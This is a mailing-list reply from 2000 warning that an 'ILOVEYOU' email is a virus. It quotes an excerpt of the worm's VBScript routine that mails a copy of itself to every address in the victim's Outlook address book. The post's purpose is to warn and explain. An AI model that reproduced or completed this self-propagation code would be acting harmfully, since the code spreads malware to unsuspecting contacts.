This looks like a virus to me. Nigel's mailer was probably "infected" and has sent copies to all his/her addresses. One doesn't need to be a VBScript expert to read this (extract from the .vbs attachment):
sub spreadtoemail()
[...]
malead=a.AddressEntries(x)
[...]
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
> -----Original Message-----
> From: Nigel Ratcliffe [mailto:nigel.ratcliffe@ensoft.co.uk]
> Sent: Thursday, May 04, 2000 6:02 AM
> To: Ietf-Ldapext (E-mail)
> Subject: ILOVEYOU
>
>
>
> kindly check the attached LOVELETTER coming from me.
>
>